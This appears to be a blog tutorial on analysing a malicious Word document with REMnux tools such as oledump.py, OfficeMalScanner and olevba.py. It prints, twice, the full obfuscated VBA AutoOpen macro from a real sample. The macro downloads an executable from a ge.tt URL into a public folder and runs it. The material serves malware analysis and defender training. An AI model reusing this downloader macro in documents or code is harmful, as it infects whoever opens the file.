Weaponized documents (I really hate this name!) are just another method used by bad guys to deliver malicious payload. Recently this technique was used by criminal groups delivering banking trojans (e.g. Dridex), but as you might expect it was also used by APT actors (e.g. Rocket Kitten in Operation Woolen Goldfish). Regardless of the threat type (APT, commodity, etc.) analysis of the malicious documents should be an essential skill of every analyst.
Introduction
Nowadays Microsoft Office documents are a collections of XML files stored in a ZIP file. Historically storing multiple objects in one document was challenging for traditional file systems in terms of efficiency. In order to address this issue a structure called Microsoft Compound File Binary also known as Object Linking and Embedding (OLE) compound file was created. The structure defines files as hierarchical collection of two objects - storage and stream. Basically think of storage and a stream as directory and a file respectively.
Another objects that you might encounter in the OLE files are macros. Macros allow to automate tasks and add functionality to your documents like reports, forms, etc. Macros can use Visual Basic (VBA) which is where bad guys will often try to hide their malicious code. This is what we are after in this handbook - finding and extracting malicious code from OLE files!
Prerequisites
Process
Lenny Zeltser created an awesome cheat sheet for analyzing malicious documents. Generally it contains the following steps:
Find malicious code
Extract code
Analyze code
Extract host and network indicators
Malware Analysis
Analysis will be carried out in REMnux a free Linux Toolkit for Reverse-Engineering and Analyzing Malware.
The easiest and quickest option is to download ova file and set up REMnux on a virtual machine. Keep in mind we will be analyzing malicious script so be sure to do it properly. I will not describe how to set up malware environment in this post however there are plenty of available resources here, here, here and here.
Sample
If you want to follow along with the examples you can grab the file from www.hybrid-analysis.com.
Analysis
Personally I like to start with a file command to get a better feeling of what am I dealing with.
123
remnux@remnux:~/Desktop/AnalystH$ file malware1.doc
malware1.doc: CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Raz0r, Revision Number: 198, Name of Creating Application: Microsoft Office Word,
Total Editing Time: 01:47:00, Create Time/Date: Mon Jan 12 00:32:00 2015, Last Saved Time/Date: Wed May 6 04:22:00 2015, Number of Pages: 1, Number of Words: 21, Number of Characters: 122, Security: 0
Output provides a lot of useful information including:
File format: CDF V2 Document
OS: Windows
Application: Microsoft Word
Author name: Raz0r
Last Saved Time/Date: Wed May 6 04:22:00 2015
Compound Document Format (CDF) as described in the introduction section contains multiple different objects.
Let’s take a closer look.
oledump.py
First we will examine file with oledump.py written and maintained by Didier Stevens.
One of the cool things about oledump.py is its ability to mark streams that contain VBA code. In the above output we can see two streams called NewMacros and ThisDocument. Letters M and m indicate that VBA code is present. Lowercase m means VBA contains only attributes statements (less interesting):
Given stream can be viewed by adding -s with an object number. As we know we are dealing with the VBA code the -v option will instruct oledump.py to decompress VBA code and make it easy to read.
Let’s dump it for later comparison with other tools.
remnux@remnux:~/Desktop/AnalystH$ oledump.py -s8 -v malware1.doc
Attribute VB_Name="NewMacros"#If VBA7 Then Private Declare PtrSafe Function ProudtoBecomeaNepaliReverseEngineer Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal JhjBjhGJHBfgjhffGggfGVgfVFGuHgHfGcV As Long, ByVal GyghGGBtgnfgdfGDFRGhojoJGBJFGhjFghJfHgh As String, ByVal tGtgfRDEVDFVUJUjhJGHJkujkuhJihuhBfgBF As String, ByVal lkaaJQQSxJfdLyE As Long, ByVal hujhBjhBfvcVcVdsswwsDswdFfgHUJFGHUJOIJJHhHjHGYYFtBVcfGGdGgDFGHuDfghuhDGhjjk As Long) As Long
#Else Private Declare Function ProudtoBecomeaNepaliReverseEngineer Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal gBfGFGHFGhRfghrtjgHJfGHJFGHjTyhjGFGVRFTRftyFtyFghDFvtRTRGfGDTR As Long, ByVal ltnbTaRjJOa6JYn As String, ByVal liCRZKNefyicowI As String, ByVal lGONydFEvaD5IuX As Long, ByVal lmRYfcuLs5uEk2Z As Long) As Long
#End IfSub AutoOpen() Dim loyagdbd As String
Dim hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg As String
hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg= CurDir() Dim NewPath As String
NewPath= Replace(hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg, "\Desktop", "\AppData\Roaming")NewPath="C:\Users\Public\Documents" Dim CheckNumbers As String
CheckNumbers="" Dim hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg As String
Dim NewString As String
NewString="Umbrella HBjhbhjkshdjkhJNggg GjHgggJkmNjh .exe GjNghJGjhJggggJh ggJnggfgHfgHdfG dfGdfGHHfGHH dDFCdFGBHVBhGjijok ghnfVBFGRTYJh fCvFgyhBgHHhFvB" Dim LotsofFuckingStringinallinOne As String
LotsofFuckingStringinallinOne="protection \ vulnerable worksheet wsc footage s rasberry student" Dim AnotherShitisHereSaysthis As String
AnotherShitisHereSaysthis="SbieCtrl encryption deauthentication hell ript. intrusion wireshark" Dim FinalWord As String
FinalWord= CheckNumbers + Split(LotsofFuckingStringinallinOne)(4) + CheckNumbers + Split(AnotherShitisHereSaysthis)(4)hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg= Split(AnotherShitisHereSaysthis)(0)& Split(NewString)(3)iJJHBujHgbgbtgftYtyuRwerqweRweoijhoIJOJnikjgHNFVBcv="http://ge"&"."&"tt/api/1/files/2gmBurF2/0/blob?download" + CheckNumbers
Dim IsProgramRegistered As String: IsProgramRegistered= FinalWord & Split(LotsofFuckingStringinallinOne)(6)ijHujhBujHBjHBgFfVGHGHjGhJFVGBHfvGFghJFV= CheckNumbers + CheckNumbers + CheckNumbers + "" + CheckNumbers + CheckNumbers
lkFjuexVzhTjcrT= ijHujhBujHBjHBgFfVGHGHjGhJFVGBHfvGFghJFV & iJJHBujHgbgbtgftYtyuRwerqweRweoijhoIJOJnikjgHNFVBcv &""iJghBfgBgBfgfVfBfVBFVBFhjhBjcVBcdVBCVBGBhjfGBFG= lkFjuexVzhTjcrT
OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb= NewPath & Split(LotsofFuckingStringinallinOne)(1)& hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg + CheckNumbers
lRoosrSIPgRZZm4= OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb
lFA9cYQDsQOBIWU= ProudtoBecomeaNepaliReverseEngineer(0, CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + iJghBfgBgBfgfVfBfVBFVBFhjhBjcVBcdVBCVBGBhjfGBFG & CheckNumbers & CheckNumbers & CheckNumbers, CheckNumbers & CheckNumbers & CheckNumbers & OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb & CheckNumbers & CheckNumbers, 0, 0) If Dir(OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb) <> "" Then
Dim oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh As Object
Set oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh= CreateObject(IsProgramRegistered & Split(AnotherShitisHereSaysthis)(3)) Set oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh= oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh.exec(OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb) End If
End Sub
It is safe to say we found our malicious code! We will dump the code for further analysis.
Before we will delve into deobfuscation and code analysis let’s see how other tools cope with the same malicious file.
officeparser.py
officeparser.py by John William Davison prints similar information as oledump.py, however it does not help analysts with marking objects containing VBA code.
OfficeMalScanner written by Frank Boldewin is less interactive but it automatically finds and extracts malicious code for further analysis. This is handy when we are interested in fast triage and code analysis only. OfficeMalScanner is not included in the newest REMnux v6.
1234567891011121314151617181920212223
remnux@remnux:~/Desktop/AnalystH/part1$ OfficeMalScanner malware1.doc info
+------------------------------------------+
| OfficeMalScanner v0.61 || Frank Boldewin / www.reconstructer.org |+------------------------------------------+
[*] INFO mode selected
[*] Opening file malware1.doc
[*] Filesize is 176640(0x2b200) Bytes
[*] Ms Office OLE2 Compound Format document detected
---------------------------------------
[Scanning for VB-code in MALWARE1.DOC]---------------------------------------
NewMacros
ThisDocument
-----------------------------------------------------------------------------
VB-MACRO CODE WAS FOUND INSIDE THIS FILE!
The decompressed Macro code was stored here:
------> Z:\home\remnux\Desktop\AnalystH\part1\MALWARE1.DOC-Macros
----------------------------------------------------------------------------
OfficeMalScanner was able to extract the same streams. The file NewMacros containing malicious script is exactly the same as extracted by other tools, however the file ThisDocument has different MD5 hash. By checking the content (omitted for brevity) it seems to merge parts of code from both streams containing VBA, which might confuse some of the analysts.
olevba.py
olevba.py created by Decalage performs all the steps of the process including the basic analysis of the code:
remnux@remnux:~/Desktop/AnalystH/part1$ olevba.py malware1.doc
olevba 0.27 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OLE:MAS---- malware1.doc
(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)===============================================================================FILE: malware1.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: malware1.doc - OLE stream: u'Macros/VBA/ThisDocument'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: malware1.doc - OLE stream: u'Macros/VBA/NewMacros'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#If VBA7 Then Private Declare PtrSafe Function ProudtoBecomeaNepaliReverseEngineer Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal JhjBjhGJHBfgjhffGggfGVgfVFGuHgHfGcV As Long, ByVal GyghGGBtgnfgdfGDFRGhojoJGBJFGhjFghJfHgh As String, ByVal tGtgfRDEVDFVUJUjhJGHJkujkuhJihuhBfgBF As String, ByVal lkaaJQQSxJfdLyE As Long, ByVal hujhBjhBfvcVcVdsswwsDswdFfgHUJFGHUJOIJJHhHjHGYYFtBVcfGGdGgDFGHuDfghuhDGhjjk As Long) As Long
#Else Private Declare Function ProudtoBecomeaNepaliReverseEngineer Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal gBfGFGHFGhRfghrtjgHJfGHJFGHjTyhjGFGVRFTRftyFtyFghDFvtRTRGfGDTR As Long, ByVal ltnbTaRjJOa6JYn As String, ByVal liCRZKNefyicowI As String, ByVal lGONydFEvaD5IuX As Long, ByVal lmRYfcuLs5uEk2Z As Long) As Long
#End IfSub AutoOpen() Dim loyagdbd As String
Dim hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg As String
hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg= CurDir() Dim NewPath As String
NewPath= Replace(hhNjnhbhghyjhtgjhGjhFGHjkGjkfGBJHDTRGVDTrhfg, "\Desktop", "\AppData\Roaming")NewPath="C:\Users\Public\Documents" Dim CheckNumbers As String
CheckNumbers="" Dim hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg As String
Dim NewString As String
NewString="Umbrella HBjhbhjkshdjkhJNggg GjHgggJkmNjh .exe GjNghJGjhJggggJh ggJnggfgHfgHdfG dfGdfGHHfGHH dDFCdFGBHVBhGjijok ghnfVBFGRTYJh fCvFgyhBgHHhFvB" Dim LotsofFuckingStringinallinOne As String
LotsofFuckingStringinallinOne="protection \ vulnerable worksheet wsc footage s rasberry student" Dim AnotherShitisHereSaysthis As String
AnotherShitisHereSaysthis="SbieCtrl encryption deauthentication hell ript. intrusion wireshark" Dim FinalWord As String
FinalWord= CheckNumbers + Split(LotsofFuckingStringinallinOne)(4) + CheckNumbers + Split(AnotherShitisHereSaysthis)(4)hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg= Split(AnotherShitisHereSaysthis)(0)& Split(NewString)(3)iJJHBujHgbgbtgftYtyuRwerqweRweoijhoIJOJnikjgHNFVBcv="http://ge"&"."&"tt/api/1/files/2gmBurF2/0/blob?download" + CheckNumbers
Dim IsProgramRegistered As String: IsProgramRegistered= FinalWord & Split(LotsofFuckingStringinallinOne)(6)ijHujhBujHBjHBgFfVGHGHjGhJFVGBHfvGFghJFV= CheckNumbers + CheckNumbers + CheckNumbers + "" + CheckNumbers + CheckNumbers
lkFjuexVzhTjcrT= ijHujhBujHBjHBgFfVGHGHjGhJFVGBHfvGFghJFV & iJJHBujHgbgbtgftYtyuRwerqweRweoijhoIJOJnikjgHNFVBcv &""iJghBfgBgBfgfVfBfVBFVBFhjhBjcVBcdVBCVBGBhjfGBFG= lkFjuexVzhTjcrT
OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb= NewPath & Split(LotsofFuckingStringinallinOne)(1)& hFHBGjhGgFHdfGdfGHjHuIjhGhFGgHGtyFGgHUfgjhfgHJvbNfgUJHTyuiIUOIUJIYJHfg + CheckNumbers
lRoosrSIPgRZZm4= OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb
lFA9cYQDsQOBIWU= ProudtoBecomeaNepaliReverseEngineer(0, CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + iJghBfgBgBfgfVfBfVBFVBFhjhBjcVBcdVBCVBGBhjfGBFG & CheckNumbers & CheckNumbers & CheckNumbers, CheckNumbers & CheckNumbers & CheckNumbers & OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb & CheckNumbers & CheckNumbers, 0, 0) If Dir(OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb) <> "" Then
Dim oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh As Object
Set oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh= CreateObject(IsProgramRegistered & Split(AnotherShitisHereSaysthis)(3)) Set oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh= oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh.exec(OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb) End If
End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+--------------------+---------------------------------------+
| Type | Keyword | Description |+------------+--------------------+---------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened || Suspicious | CreateObject | May create an OLE object || Suspicious | Lib | May run code from a DLL || Suspicious | URLDownloadToFileA | May download files from the Internet |+------------+--------------------+---------------------------------------+
Unfortunately neither of the tools is able to deobfuscate the code it would be too easy! So far we researched different methods of finding and extracting malicious code from OLE documents. It is high time to deobfuscate this bad boy!
Code deobfuscation
There is never a “one fits all” solution to deobfuscate code.
Good thing to start with is to clean up the code from randomly generated variable names.
For this just open the code in any text editor and use “find and replace” feature to replace randomly named variables into something more readable.
I like to rename variables so they start with capital letter informing me about the variable type, for instance:
S_var1 means this variable is of a String type.
This is how code looks like after initial clean up:
URLDownloadToFile() accepts five parameters, including URL address http://ge.tt/api/1/files/2gmBurF2/0/blob?download and a file name
C:\Users\Public\Documents\SbieCtrl.exe.
Both information serve as a network and host indicators that might be used to check for successful compromise.
Conclusions
It’s never a good option to rely on only one tool. Analyzing malicious documents is all about finding, extracting and analyzing malicious code. What would happen if bad guys used different obfuscation methods, document types or came up with new unknown technique? Would you be prepared with your current toolset? Having backup plan and additional tools in your toolset makes you ready for such scenario. In our short analysis OfficeMalScanner was not able to extract both streams correctly. What if this was your go to tool? Would you be able to perform analysis? I am not saying that any tool described in this post is better or worse than the other, all of them are great tools and allow you to do things differently it all really depends on your requirements. For instance officeparser.py and oledump.py allow you to interact with the file internals, however this might not be the most efficient approach if you have to analyze few documents where writing a while loop and using OfficeMalScanner or olevba.py to dump the malicious code will do the trick for you.
Never limit yourself to one tool, programming language or operating system. Be flexible and open-minded, have a backup plan, a proper toolset and you will be better prepared for the upcoming challenges!